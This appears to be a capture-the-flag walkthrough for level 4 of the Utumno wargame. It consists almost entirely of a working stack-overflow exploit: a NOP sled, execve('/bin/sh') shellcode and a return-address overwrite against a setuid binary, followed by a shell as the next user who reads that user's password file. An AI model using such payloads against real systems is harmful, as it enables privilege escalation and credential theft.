# Utumno wargame: Level 4

# ssh utumno4@utumno.labs.overthewire.org
utumno4@utumno.labs.overthewire.org's password:
6f6f6769656c656f6761

utumno4@melissa$ file /utumno/utumno4
/utumno/utumno4: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped
utumno4@melissa$ /utumno/utumno4 65536 `perl -e 'print "\x90"x65250 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\x90"x18 . "\xdd\xdd\xfd\xff" . "\x90"x238'`
$ /usr/bin/whoami
utumno5
$ /bin/cat /etc/utumno_pass/utumno5
776f756361656a69656b